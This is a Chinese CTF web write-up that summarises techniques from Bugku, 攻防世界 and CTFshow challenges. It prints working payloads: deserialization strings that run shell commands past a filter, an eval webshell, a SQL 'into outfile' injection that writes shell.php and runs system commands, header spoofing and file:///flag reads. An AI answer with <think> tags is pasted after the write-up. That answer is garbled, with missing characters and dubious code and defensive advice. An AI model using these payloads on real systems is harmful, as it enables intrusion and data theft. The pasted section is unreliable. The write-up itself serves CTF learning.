CTF中web类题目,bugku,攻防世界总结,包括php反序列化,文件上传,信息收集,sql注入

具体题型

目录

(1)信息搜集类

(2)php类型

(3)HTTP头部信息

(4)Python爬虫信息处理

(5)文件包含和文件上传结合

(6)sql约束攻击,

(7)SSRF服务器请求伪造


(1)信息搜集类

网页源代码和http请求响应,robots.txt文件

网页源代码编辑html

web源码泄露

git源码泄露

svn源码泄露

hg源码泄漏

网站备份压缩文件

WEB-INF/web.xml 泄露

SWP 文件泄露

GitHub源码泄漏

用diesearch扫一下目录

  1. 爆破

攻防世界weak_auth

攻防世界,文件包含题目中php://filter伪协议过滤器爆破

用php://filter/convert.base64-encode/resource=flag.php读取源代码发现有字符被过滤使用 Conversion Filters

尝试使用以下过滤器,都不行

  • convert.base64
  • convert.quoted

使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

convery.iconv.*的使用有两种方法:

convert.iconv.<input-encoding>.<output-encoding>

convert.iconv.<input-encoding>/<output-encoding>

UCS-4*

UCS-4BE

UCS-4LE*

UCS-2

UCS-2BE

UCS-2LE

UTF-32*

UTF-32BE*

UTF-32LE*

UTF-16*

UTF-16BE*

UTF-16LE*

UTF-7

UTF7-IMAP

UTF-8*

ASCII*

EUC-JP*

SJIS*

eucJP-win*

SJIS-win*

(2)php类型

php 弱类型变量的值为假(如 nullfalse0、空字符串等),则条件成立

1.php弱比较,绕过MD5加密函数

另外还有一点,php中的大多数函数对数组的处理都会返回null。例如:strpos(),strcmp(),strlen().array_search(),再比较两者是否相等时是使用的弱类型。

intval() 在转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。

即使出现无法转换的字符串,intval() 不会报错而是返回 0

这个时候 $a 的值有可能是 1002 union…

strcmp 漏洞绕过 php -v <5.3

strcmp 是比较两个字符串,如果 str1<str2 则返回<0 如果 str1 大于 str2 返回>0 如果两者相等返回 0

我们是不知道$password 的值的,题目要求 strcmp 判断的接受的值和$password 必需相等,

strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢

我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等

payload: password[]=xxx

2.数组绕过PHP ===

3.bugku,qiannvyou

看源码,链接藏得很深

http://114.67.175.224:14980/index.php?v1=s1885207154a&v2=s1091221200a&v3[]=xxxx

介绍一批 md5 开头是 0e 的字符串 上文提到过,0e 在比较的时候会将其视作为科

学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。md5('240610708')

== md5('QNKCDZO')成功绕过!

QNKCDZO

0e830400451993494058024219903391

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

http://114.67.175.224:14980/index.php?v1=s1885207154a&v2=s1091221200a&v3[]=xxxx

4.攻防世界中easyphp

利用PHP科学计数法和弱类型,json_decode(),绕过array_search()在比较中也是弱类型

JSON数值格式:{ “key” : value}

JSON字符串格式:{ “key” : “value”}

JSON数组格式:{ “key” : [value]}

JSON对象格式:{ “key” : {value}}

(array): 这是一个强制类型转换,将 json_decode() 返回的结果强制转换为数组。如果解码失败,结果可能是 null,此时转换为数组后会变为一个空数组。

array_search()函数绕过

在数组中搜索某个键值,并返回某个键名array_search 函数 类似于== 也就是

5.PHP伪协议

大多配合文件包含。例如:攻防世界fileclude

php://filter 读取文件

php://input 写入文件, 数据利用 POST 传过去

file_get_contents(),用data://和php://input都可以

data://可以用于控制 file_get_contents 的内容为用户输入的流

攻防世界:

变量覆extract

extract() 函数把数组元素拆成变量。对于数组中的每个元素, 键名用于变量名,键值用于变量值。

思路就是把原有的$flag给替换掉,最好就是让它为空,$flag为一个不存在的文件。

payload:?shiyan=&flag=

反序列化

反序列化大多与POP链相结合

POP链

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。

魔术方法触发前提:魔术方法所在类(或对象)被调用。

POP链是一环扣着一环,像一个链条一样,这也就是说它是紧密联系起来的。我们只需找到入口和出口,任意反推或者正推就比较好解决

思路

首先这里传入数据的入口是反序列化,那就是__wakeup(),出口那就是要读取文件,那就是 __invoke() ,一个是魔法方法

1. 使用正推,进入wakeup后看起来是一个非常正常的函数,只能通过$this->source来完成跳转,这里的可能有两个,一是利用属性不存在跳转__get(),二是利用将对象作为字符串使用跳转__toString()。第一个方法行不通,因为类中没有__get()方法。所以要用第二种方案,后续exp中详细说明这种方案。

2. 假设进入__toString()后,显然是需要str返回一个对象时去搜寻source属性,下一步就是无法搜索到这个属性就可以跳转__get(),但是这里是需要跳转到Test类才有__get(),那么就让str返回的对象是Test对象。

3. 进入__get()后,找到它的属性并强行调用方法,明显就需要跳转至__invoke(),那么就要让$this->p找到Read类中。

4. 进入__invoke()后将$var设为你想要的文件就到达出口了。

最后书写exp,将Read类的对象放入Test类的p属性中,再将上述的一堆放入str,最后要将对象作为字符串,那么让Show类的source属性等于对象自己就可以了。

exp:

payload:pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

不同类型属性序列化后的格式

%00类名%00,%00=null

攻防世界:Web_php_unserialize

exp:

攻防世界:unseping

入口是__wakeup,出口是命令执行函数exec

反序列化会调用__wakeup(),然后会调用waf(),可以看到waf()中过滤

|,&,;,空格,/,cat,flag,tac,php,ls

__destruct()销毁对象或脚本结束时被调用,若$methd的值在数组array("ping")中[相当于:$methd=="ping"]

function __destruct() 是一个析构函数,在对象生命周期结束时自动调用。

if (in_array($this->method, array("ping"))) 检查 $this->method 是否为 "ping"。in_array() 函数用于判断一个值是否在数组中。

如果条件成立,call_user_func_array(array($this, $this->method), $this->args) 会调用当前对象 $this 的 $this->method 方法,并传递 $this->args 作为参数。

call_user_func_array(array($this, $this->method),

$this->args);

/* 调用回调函数,并把一个数组参数作为回调函数的参数。

这里相当于调用ping()

array中

$this 相当于当前这个类

$this->method=="ping" 这个类下的ping()方法

后面那个参数就是ping()方法中的实参 */

最后调用ping()方法执行命令后输出

exp:

payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

发现

于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。 

查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php

但是“/”符号被过滤了。过滤了斜杠‘/’可利用';'拼接命令绕过,但是不管用

查看flag_831b69012c67b35f.php文件内容,使用more代替cat,使用8进制编码"/"

more flag_1s_here/flag_831b69012c67b35f.php

“/“的八进制编码为\57,使用$(printf${IFS}”\57”)执行输出“/”到字符串中。

在这个表达式中,$(printf ${IFS} "/") 的意思是使用 printf 命令输出一个字符串,其中 ${IFS} 是一个特殊变量,代表内部字段分隔符(Internal Field Separator)。这个语法的内联执行意味着在命令执行的上下文中,会将 printf 的输出作为字符串使用。

具体来说,printf ${IFS} "/" 会输出一个斜杠(/),但前面会有一个由 ${IFS} 定义的空白字符(如空格或制表符)。最终结果会是一个可能带有空白字符的字符串,输出内容为“ /”或类似格式。

最终payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MToibW9yZSR7SUZTfWZsIiJhZ18xc19oZXJlJChwcmludGYke0lGU30iXDU3IilmXGxhZ184MzFiNjkwMTJjNjdiMzVmLnBcaHAiO319

ereg()%00截断

其次ereg() 只能处理字符串,遇到数组会返回null

if (isset ($_GET['password'])) {

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)

{

echo '<p>You password must be alphanumeric</p>';

}

else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

{

if (strpos ($_GET['password'], '*-*') !== FALSE)

{

die('Flag: ' . $flag);

}

else

{

echo('<p>*-* have not been found</p>');

}

}

else

{

echo '<p>Invalid password</p>';

}

}

方法1:利用数组绕过这两个函数ereg() 只能处理字符串,遇到数组会返回null,null !== false,也就是说满足了 让条件(1)不成立。

strpos() 的参数同样不能够是数组,遇到数组也会返回null,null !== false,即条件(3)成立

strlen() 遇到数组时也返回null,而null长度小于8,返回True,而另外一个判断条件是否大于 9999999,它这里是整数类型,数组类型要大于整数,所以也返回TRUE。即条件(2)成立。。

故 Payload:http:xxxxxx?password[]=1

方法2:%00截断绕过正则匹配

条件(2)(3)成立即: password 长度必须 <8 且 大小>9999999,并且包含有“-”

条件(1)不成立,即:password 只能是一个或者多个数字、大小写字母

%00截断:ereg函数 读到 %00 的时候,就截止了。

第(2)个条件:长度小于8大小大于99999999,可以用科学计数法来绕过,构造10的7次方 10000000>9999999

构造 ?password=1e7%00-

bugku中never-give-up(很精彩这题)

思路:打开先查看源代码,发现隐藏的1p.html,再打开发现源代码,经过三次解码,审计php代码。id,a,b发现三个参数。

(3)HTTP头部信息

1.从本地访问,那么应该是127.0.0.1这个地址访问,去网上搜一下http请求时说明表示从哪里访问,1是X-Forwarded-For,2是client-ip,bp抓包用1修该不成功,用2后直接爆出flag。

在请求头中加上,X-Forwarded-For:127.0.0.1

2.bugku你从哪里来,Referer。bp把包抓下来传上去个。

Referer: http://www.google.com

  1. XFF和Rerferer的结合运用

攻防世界:xff_referer

(4)Python爬虫信息处理

这类题目一般都是给一个页面,页面中有算式或者是一些数字,要求在很短的时间内求出结果并提交,如果结果正确就可以返回flag。

因为所给时间一般都很短而且计算比较复杂,所以只能写脚本。这种题目的脚本一般都需要用到requests库和BeautifulSoup库(或者re库(正则表达式)),个人感觉使用BeautifulSoup简单一些。

(5)文件包含和文件上传结合

bugku文件包含 2。思路:打开发现文件包含,然后发现upload.php,上传文件png(因为有文件包含所以上传的文件后缀无所谓)发现过滤<?php和?>所以用<?=eval($_POST['a']);echo 'b';绕过,蚁剑

使用文件读取协议:file:///flag留疑

(6)sql约束攻击,

  1. 题目:CTFshow  web301-304代码审计因为要vip所以简单看看

    联合注入。

    在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录。

    mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户,可以使用这个账户登录

    平常我们联合注入的时候一般是这样的paylaod:?id=1 and 1=2 union select 1,database()#。两个回显位,返回给我们的是1 数据库名称。这个1是哪来的呢,就是...select 1...创建的虚拟数据1。

    然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row['sds_password'])),满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

    payload:

    账号:-1' union select 1717#

    密码:1717

    账号进入SQL语句,拼接,未查询到内容,但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码,我们输入的密码也是1717,strcasecmp()函数判断相等,成功登录

    方法二:

    写入shell。也是基础SQL注入。

    Sql知识点:

    out file 写入文件,select ‘需要写入的内容’ out file ‘需要写入的地址\1.php’;

    一句话木马: <?php @eval($_REQUEST[“password”]) ?>

    payload:

    账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#

    密码:1

    然后访问shell.php   让1=system('cat flag.php')

bugku中的login1,

sql注入中过滤字符排除

异或注入了解一下,两个条件相同(同真或同假)即为假

?id=1'^(length('union')!=0)--+如果返回页面显示正常,那就证明 length(‘union’)==0 的,也就是 union 被过滤了

同理测试出被过滤的字符串有:and,or,union,select

都用双写来绕过

(7)SSRF服务器请求伪造

先试试能不能利用file:///flag获取

当利用SSRF漏洞时,攻击者可以通过构造恶意请求来读取本地文件。其中一种方法是使用file协议来读取本地文件。

babyweb

dirsearch扫描没结果,题目官方给的wireup是因为是SSRF所以猜测为ssrf.php

http://61.147.171.105:56421/ssrf.php

尝试file协议读取,直接获取flag。

file:///flag

<think>好的,我需要回答用户关于CTF比赛中属性注入安全漏洞或解技巧的问。首先,我需要明确属性注入的具体含义。属性注入通常指在对象反序列化过程中,通过篡改对象属性值来触发恶意行为或绕过安全机制。这漏洞在PHP反序列化中比较常见,尤其是涉及魔术方法如__wakeup()、__destruct()时。 接下来,我应该结合用户提供的参考资料。引用[2]提到了PHP反序列化漏洞,特别是绕过__wakeup的技巧。这提示我属性注入可能与反序列化时修改对象属性数量有关,从而绕过某些安全检查。例如,当序列化字符串中的对象属性数量与实际定义不一致时,可能会跳过__wakeup方法,导致漏洞利用。 此外,用户提供的示例中提到了堆叠注入,引用[1]中的堆叠注入实例可能与SQL注入相关,但这里用户的问是关于属性注入的,所以需要区分两者。不过,堆叠注入的思想可能似,即通过构造特定输入来执行多条指令或改变程序流程。 我需要解释属性注入的原理,给出具体的漏洞示例,比如如何通过修改序列化字符串中的属性数量来绕过__wakeup,或者利用__destruct方法中的逻辑问。同时,应该提供防御技巧,比如严格校验输入数据、使用安全反序列化函数等。 最后,生成相关问时要围绕CTF中的反序列化漏洞、魔术方法绕过、其他相关漏洞型等展开,帮助用户进一步学习。</think>### CTF中的属性注入攻防技巧 #### 1. 属性注入漏洞原理 属性注入通常出现在**对象反序列化**场景中。当程序反序列化用户可控的数据时,若未对反序列化后的对象属性进行严格校验,攻击者可通过篡改序列化字符串中的属性值或数量,触发非预期逻辑,例如: - 修改属性值以覆盖关键变量(如权限标识)[^2] - 绕过`__wakeup()`等魔术方法的安全检查 - 触发`__destruct()`中的危险操作(如文件删除) #### 2. 漏洞示例 **案例:绕过__wakeup()** 假设定义如下: ```php class Example { public $is_admin = false; public function __wakeup() { if ($this->is_admin) $this->is_admin = false; // 强制重置 } public function __destruct() { if ($this->is_admin) system("/readflag"); } } ``` 攻击者可构造序列化字符串: ```php O:7:"Example":2:{s:8:"is_admin";b:1;} ``` 通过将属性数量改为**2**(原仅1个属性),`__wakeup()`方法被绕过,`is_admin`保持为`true`,触发`__destruct()`中的命令执行。 #### 3. 关键攻防技巧 **攻击方向**: - **属性篡改**:修改序列化字符串中的属性值或型(如将`b:0`改为`b:1`) - **数量溢出**:增加属性数量绕过`__wakeup()`(需PHP版本<5.6.25) - **链式利用**:结合多个的`__destruct()`或`__toString()`方法构造POP链 **防御方向**: - 使用`json_encode()`代替`serialize()` - 反序列化前校验数据签名 - 避免反序列化用户输入(如用`hash_equals()`代替对象传递) - 对敏感属性添加`__set()`方法控制写入逻辑 ```php // 安全示例:严格校验属性 class SafeClass { private $key; public function __unserialize($data) { if (!isset($data['key']) || $data['key'] != SECRET) { throw new Exception("Invalid data"); } } } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值